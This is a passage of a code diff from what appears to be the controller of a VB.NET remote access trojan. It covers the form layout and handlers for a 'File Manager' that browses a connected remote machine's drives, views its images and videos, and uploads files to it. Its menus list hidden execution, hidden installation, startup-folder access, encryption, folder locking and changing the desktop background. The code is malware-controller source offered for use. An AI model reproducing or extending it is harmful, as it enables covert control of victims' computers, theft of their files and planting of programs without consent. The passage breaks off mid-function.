SetBackgroundToolStripMenuItem1.Image = CType(resources.GetObject("SetBackgroundToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
SetBackgroundToolStripMenuItem1.Name = "SetBackgroundToolStripMenuItem1"
|
||||
SetBackgroundToolStripMenuItem1.Size = New System.Drawing.Size(178, 22)
|
||||
SetBackgroundToolStripMenuItem1.Text = "[ Set Background ]"
|
||||
'
|
||||
'PlayMusicToolStripMenuItem
|
||||
'
|
||||
PlayMusicToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
PlayMusicToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {PlayToolStripMenuItem1, StopToolStripMenuItem1})
|
||||
PlayMusicToolStripMenuItem.Image = CType(resources.GetObject("PlayMusicToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
PlayMusicToolStripMenuItem.Name = "PlayMusicToolStripMenuItem"
|
||||
PlayMusicToolStripMenuItem.Size = New System.Drawing.Size(178, 22)
|
||||
PlayMusicToolStripMenuItem.Text = "[ Play Music ]"
|
||||
'
|
||||
'PlayToolStripMenuItem1
|
||||
'
|
||||
PlayToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
PlayToolStripMenuItem1.Image = CType(resources.GetObject("PlayToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
PlayToolStripMenuItem1.Name = "PlayToolStripMenuItem1"
|
||||
PlayToolStripMenuItem1.Size = New System.Drawing.Size(112, 22)
|
||||
PlayToolStripMenuItem1.Text = "[ Play ]"
|
||||
'
|
||||
'StopToolStripMenuItem1
|
||||
'
|
||||
StopToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
StopToolStripMenuItem1.Image = CType(resources.GetObject("StopToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
StopToolStripMenuItem1.Name = "StopToolStripMenuItem1"
|
||||
StopToolStripMenuItem1.Size = New System.Drawing.Size(112, 22)
|
||||
StopToolStripMenuItem1.Text = "[ Stop ]"
|
||||
'
|
||||
'DownloadFolderToolStripMenuItem
|
||||
'
|
||||
DownloadFolderToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
DownloadFolderToolStripMenuItem.Image = CType(resources.GetObject("DownloadFolderToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
DownloadFolderToolStripMenuItem.Name = "DownloadFolderToolStripMenuItem"
|
||||
DownloadFolderToolStripMenuItem.Size = New System.Drawing.Size(178, 22)
|
||||
DownloadFolderToolStripMenuItem.Text = "[ Download Folder ]"
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
PictureBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
PictureBox1.Location = New System.Drawing.Point(407, 197)
|
||||
PictureBox1.Name = "PictureBox1"
|
||||
PictureBox1.Size = New System.Drawing.Size(232, 139)
|
||||
PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom
|
||||
PictureBox1.TabIndex = 9
|
||||
PictureBox1.TabStop = False
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1, ToolStripStatusLabel2})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 369)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Size = New System.Drawing.Size(651, 22)
|
||||
StatusStrip1.TabIndex = 11
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ActiveLinkColor = System.Drawing.Color.Blue
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.LinkColor = System.Drawing.Color.White
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(16, 17)
|
||||
ToolStripStatusLabel1.Text = "..."
|
||||
ToolStripStatusLabel1.Visible = False
|
||||
'
|
||||
'ToolStripStatusLabel2
|
||||
'
|
||||
ToolStripStatusLabel2.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel2.Name = "ToolStripStatusLabel2"
|
||||
ToolStripStatusLabel2.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel2.Text = ".."
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox1.DefaultText = ""
|
||||
Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.Dock = System.Windows.Forms.DockStyle.Bottom
|
||||
Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Location = New System.Drawing.Point(0, 348)
|
||||
Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.PlaceholderText = ""
|
||||
Guna2TextBox1.ReadOnly = True
|
||||
Guna2TextBox1.SelectedText = ""
|
||||
Guna2TextBox1.Size = New System.Drawing.Size(651, 21)
|
||||
Guna2TextBox1.TabIndex = 50
|
||||
'
|
||||
'Guna2Panel1
|
||||
'
|
||||
Guna2Panel1.Controls.Add(Label1)
|
||||
Guna2Panel1.Controls.Add(Guna2TextBox2)
|
||||
Guna2Panel1.Controls.Add(Guna2GradientButton4)
|
||||
Guna2Panel1.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Guna2Panel1.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2Panel1.Name = "Guna2Panel1"
|
||||
Guna2Panel1.Size = New System.Drawing.Size(651, 32)
|
||||
Guna2Panel1.TabIndex = 51
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Label1.AutoSize = True
|
||||
Label1.Location = New System.Drawing.Point(99, 9)
|
||||
Label1.Name = "Label1"
|
||||
Label1.Size = New System.Drawing.Size(47, 13)
|
||||
Label1.TabIndex = 80
|
||||
Label1.Text = "Search :"
|
||||
'
|
||||
'Guna2TextBox2
|
||||
'
|
||||
Guna2TextBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox2.BorderRadius = 3
|
||||
Guna2TextBox2.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox2.DefaultText = ""
|
||||
Guna2TextBox2.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Location = New System.Drawing.Point(152, 5)
|
||||
Guna2TextBox2.Name = "Guna2TextBox2"
|
||||
Guna2TextBox2.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox2.PlaceholderText = "..."
|
||||
Guna2TextBox2.SelectedText = ""
|
||||
Guna2TextBox2.Size = New System.Drawing.Size(241, 21)
|
||||
Guna2TextBox2.TabIndex = 79
|
||||
'
|
||||
'Guna2GradientButton4
|
||||
'
|
||||
Guna2GradientButton4.BorderRadius = 3
|
||||
Guna2GradientButton4.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton4.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton4.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton4.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton4.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton4.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton4.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton4.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton4.Image = CType(resources.GetObject("Guna2GradientButton4.Image"), System.Drawing.Image)
|
||||
Guna2GradientButton4.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton4.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton4.Location = New System.Drawing.Point(12, 5)
|
||||
Guna2GradientButton4.Name = "Guna2GradientButton4"
|
||||
Guna2GradientButton4.Size = New System.Drawing.Size(79, 21)
|
||||
Guna2GradientButton4.TabIndex = 78
|
||||
Guna2GradientButton4.Text = "Back"
|
||||
Guna2GradientButton4.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
'
|
||||
'FM
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(651, 391)
|
||||
Controls.Add(PictureBox1)
|
||||
Controls.Add(ListView1)
|
||||
Controls.Add(Guna2TextBox1)
|
||||
Controls.Add(StatusStrip1)
|
||||
Controls.Add(Guna2Panel1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "FM"
|
||||
Text = "File Manager"
|
||||
Guna2ContextMenuStrip2.ResumeLayout(False)
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
Guna2Panel1.ResumeLayout(False)
|
||||
Guna2Panel1.PerformLayout()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents ImageList1 As ImageList
|
||||
Friend WithEvents FileName As ColumnHeader
|
||||
Friend WithEvents ListView1 As ListView
|
||||
Friend WithEvents PictureBox1 As PictureBox
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents ToolStripStatusLabel2 As ToolStripStatusLabel
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2ContextMenuStrip2 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents BackToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents RefreshToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents GoToToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents DesktopToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents UserFolderToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents TempToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents AppDataToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents StartupToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents CopyToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents CutToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents PasteToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents EditToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents ExecuteToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents NormalToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents HiddenToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents RunAsToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents RenameToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents DeleteToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents UploadToolStripMenuItem2 As ToolStripMenuItem
|
||||
Friend WithEvents DownloadToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents NewFolderToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents NewFileToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents ShowHideToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents ShowFolderFileToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents HideFolderFileToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents ZipToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents HiddenInstallationlToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents ZipToolStripMenuItem2 As ToolStripMenuItem
|
||||
Friend WithEvents UnzipToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents FtpToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents UploadToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents SettingsToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents SendFromLinkToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents SetBackgroundToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents PlayMusicToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents PlayToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents StopToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents ToolStripMenuItem2 As ToolStripMenuItem
|
||||
Friend WithEvents EncryptToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents DecryptToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents FolderLockToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents LockToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents UnlockToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents Datemod As ColumnHeader
|
||||
Friend WithEvents Type As ColumnHeader
|
||||
Friend WithEvents Fsize As ColumnHeader
|
||||
Friend WithEvents DownloadFolderToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents Guna2Panel1 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2GradientButton4 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents Guna2TextBox2 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents FileHashToolStripMenuItem As ToolStripMenuItem
|
||||
End Class
|
||||
+3208
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,624 @@
|
||||
Imports System.IO
|
||||
Imports System.Threading
|
||||
Public Class FM
|
||||
|
||||
Public C As Client
|
||||
Public CID As String
|
||||
|
||||
Public ccppath As String
|
||||
Public ccps As String
|
||||
Private Sub FM_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Dim B As Byte() = SB("GetDrives")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
ListView1.Controls.Add(PictureBox1)
|
||||
PictureBox1.Visible = False
|
||||
End Sub
|
||||
|
||||
Public Sub SearchTextInListView(text As String, lstSource As ListView, Optional SubItemsN As Integer = 0)
|
||||
Dim listView As ListView = New ListView()
|
||||
Dim a As String = ""
|
||||
Dim item1 As ListViewItem = Nothing
|
||||
Dim flag As Boolean = a = "" = (text = "")
|
||||
If Not flag Then
|
||||
Dim Index As Integer
|
||||
Index = 0
|
||||
While Index < lstSource.Items.Count
|
||||
lstSource.Invoke(New MethodInvoker(Sub()
|
||||
item1 = lstSource.Items(Index)
|
||||
End Sub))
|
||||
Dim flag2 As Boolean = Not item1.SubItems(SubItemsN).Text.ToLower().Contains(text.ToLower())
|
||||
If flag2 Then
|
||||
Index -= 1
|
||||
lstSource.Invoke(New MethodInvoker(Sub()
|
||||
lstSource.Items.Remove(item1)
|
||||
lstSource.EndUpdate()
|
||||
End Sub))
|
||||
Dim flag3 As Boolean = Not listView.Items.Contains(item1)
|
||||
If flag3 Then
|
||||
listView.Items.Add(item1)
|
||||
End If
|
||||
End If
|
||||
Index += 1
|
||||
End While
|
||||
Dim cItem As ListViewItem
|
||||
For i As Integer = 0 To listView.Items.Count - 1
|
||||
cItem = listView.Items(i)
|
||||
Dim flag4 As Boolean = cItem.SubItems(SubItemsN).Text.ToLower().Contains(text.ToLower())
|
||||
If flag4 Then
|
||||
i -= 1
|
||||
listView.Items.Remove(cItem)
|
||||
lstSource.Invoke(New MethodInvoker(Sub()
|
||||
lstSource.BeginUpdate()
|
||||
lstSource.Items.Add(cItem)
|
||||
lstSource.EndUpdate()
|
||||
End Sub))
|
||||
End If
|
||||
Next
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub FM_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseFM")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles ListView1.DoubleClick
|
||||
Try
|
||||
If ListView1.FocusedItem.ImageIndex = 0 Or ListView1.FocusedItem.ImageIndex = 1 Or ListView1.FocusedItem.ImageIndex = 3 Or ListView1.FocusedItem.ImageIndex = 4 Or ListView1.FocusedItem.ImageIndex = 2 Then
|
||||
If Guna2TextBox1.Text.Length = 0 Then
|
||||
Guna2TextBox1.Text &= ListView1.FocusedItem.Text
|
||||
|
||||
Else
|
||||
Guna2TextBox1.Text &= ListView1.FocusedItem.Text & "\"
|
||||
|
||||
End If
|
||||
RefreshList()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Public Sub RefreshList()
|
||||
If Guna2TextBox1.Text = "" Then
|
||||
Dim B As Byte() = SB("GetDrives")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Else
|
||||
Dim B As Byte() = SB("FileManager" & SettingsHelper.SPL & Guna2TextBox1.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
|
||||
Try
|
||||
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
|
||||
If ListView1.Items.Count > 0 Then
|
||||
For Each x As ListViewItem In ListView1.Items
|
||||
x.Selected = True
|
||||
Next
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
If e.KeyCode = Keys.Enter Then
|
||||
e.SuppressKeyPress = True
|
||||
Try
|
||||
If ListView1.FocusedItem.ImageIndex = 0 Or ListView1.FocusedItem.ImageIndex = 1 Or ListView1.FocusedItem.ImageIndex = 3 Or ListView1.FocusedItem.ImageIndex = 4 Or ListView1.FocusedItem.ImageIndex = 2 Then
|
||||
If Guna2TextBox1.Text.Length = 0 Then
|
||||
Guna2TextBox1.Text &= ListView1.FocusedItem.Text
|
||||
|
||||
Else
|
||||
Guna2TextBox1.Text &= ListView1.FocusedItem.Text & "\"
|
||||
|
||||
End If
|
||||
RefreshList()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End If
|
||||
If e.KeyCode = Keys.Back Then
|
||||
e.SuppressKeyPress = True
|
||||
Try
|
||||
If Guna2TextBox1.Text.Length < 4 Then
|
||||
Guna2TextBox1.Text = ""
|
||||
|
||||
Dim B As Byte() = SB("GetDrives" & SettingsHelper.SPL)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
Else
|
||||
Guna2TextBox1.Text = Guna2TextBox1.Text.Substring(0, Guna2TextBox1.Text.LastIndexOf("\"))
|
||||
Guna2TextBox1.Text = Guna2TextBox1.Text.Substring(0, Guna2TextBox1.Text.LastIndexOf("\") + 1)
|
||||
RefreshList()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ListView1.SelectedIndexChanged
|
||||
PictureBox1.Image = Nothing
|
||||
PictureBox1.Visible = False
|
||||
If (ListView1.SelectedItems.Count = 1) Then
|
||||
|
||||
Dim item As ListViewItem = ListView1.SelectedItems.Item(0)
|
||||
|
||||
Try
|
||||
If item.Text.ToLower.EndsWith(".mp4") Or item.Text.ToLower.EndsWith(".avi") Or item.Text.ToLower.EndsWith(".mkv") Or item.Text.ToLower.EndsWith(".3gp") Or item.Text.ToLower.EndsWith(".wmv") Or item.Text.ToLower.EndsWith(".webm") Then
|
||||
Dim B As Byte() = SB("viewvideo" & SettingsHelper.SPL & Guna2TextBox1.Text & item.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
PictureBox1.Visible = True
|
||||
Exit Sub
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
Try
|
||||
If item.Text.ToLower.EndsWith(".jpg") Or item.Text.ToLower.EndsWith(".png") Or item.Text.ToLower.EndsWith(".jpeg") Or item.Text.ToLower.EndsWith(".gif") Or item.Text.ToLower.EndsWith(".bmp") Or item.Text.ToLower.EndsWith(".ico") Or item.Text.ToLower.EndsWith(".tiff") Then
|
||||
|
||||
Dim B As Byte() = SB("viewimage" & SettingsHelper.SPL & Guna2TextBox1.Text & item.Text & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
PictureBox1.Visible = True
|
||||
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub FM_Resize(sender As Object, e As EventArgs) Handles Me.Resize
|
||||
PictureBox1.Left = ((ListView1.Width - PictureBox1.Width) - &H19)
|
||||
PictureBox1.Top = ((ListView1.Height - PictureBox1.Height) - &H19)
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripStatusLabel1_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel1.Click
|
||||
ToolStripStatusLabel1.Visible = False
|
||||
ToolStripStatusLabel1.Text = Nothing
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_DragEnter(sender As Object, e As DragEventArgs) Handles ListView1.DragEnter
|
||||
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
|
||||
e.Effect = DragDropEffects.Copy
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_DragDrop(sender As Object, e As DragEventArgs) Handles ListView1.DragDrop
|
||||
Dim files() As String = e.Data.GetData(DataFormats.FileDrop)
|
||||
For Each path In files
|
||||
If IO.File.Exists(path) Then
|
||||
Dim B As Byte() = SB("sendfileto" & SettingsHelper.SPL & Guna2TextBox1.Text & IO.Path.GetFileName(path) & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(path))))
|
||||
|
||||
ToolStripStatusLabel1.ForeColor = Color.Green
|
||||
ToolStripStatusLabel1.Text = IO.Path.GetFileName(path) & " Uploading.."
|
||||
ToolStripStatusLabel1.Visible = True
|
||||
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub BackToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles BackToolStripMenuItem1.Click
|
||||
Try
|
||||
If Guna2TextBox1.Text.Length < 4 Then
|
||||
Guna2TextBox1.Text = ""
|
||||
|
||||
Dim B As Byte() = SB("GetDrives")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
Else
|
||||
Guna2TextBox1.Text = Guna2TextBox1.Text.Substring(0, Guna2TextBox1.Text.LastIndexOf("\"))
|
||||
Guna2TextBox1.Text = Guna2TextBox1.Text.Substring(0, Guna2TextBox1.Text.LastIndexOf("\") + 1)
|
||||
RefreshList()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub RefreshToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RefreshToolStripMenuItem.Click
|
||||
RefreshList()
|
||||
End Sub
|
||||
|
||||
Private Sub DesktopToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DesktopToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("GOTO" & SettingsHelper.SPL & "Desktop")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub UserFolderToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles UserFolderToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("GOTO" & SettingsHelper.SPL & "User")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub TempToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles TempToolStripMenuItem1.Click
|
||||
Dim B As Byte() = SB("GOTO" & SettingsHelper.SPL & "Temp")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub AppDataToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles AppDataToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("GOTO" & SettingsHelper.SPL & "AppData")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub StartupToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles StartupToolStripMenuItem1.Click
|
||||
Dim B As Byte() = SB("GOTO" & SettingsHelper.SPL & "Startup")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub CopyToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CopyToolStripMenuItem1.Click
|
||||
ccppath = Nothing
|
||||
ccps = Nothing
|
||||
|
||||
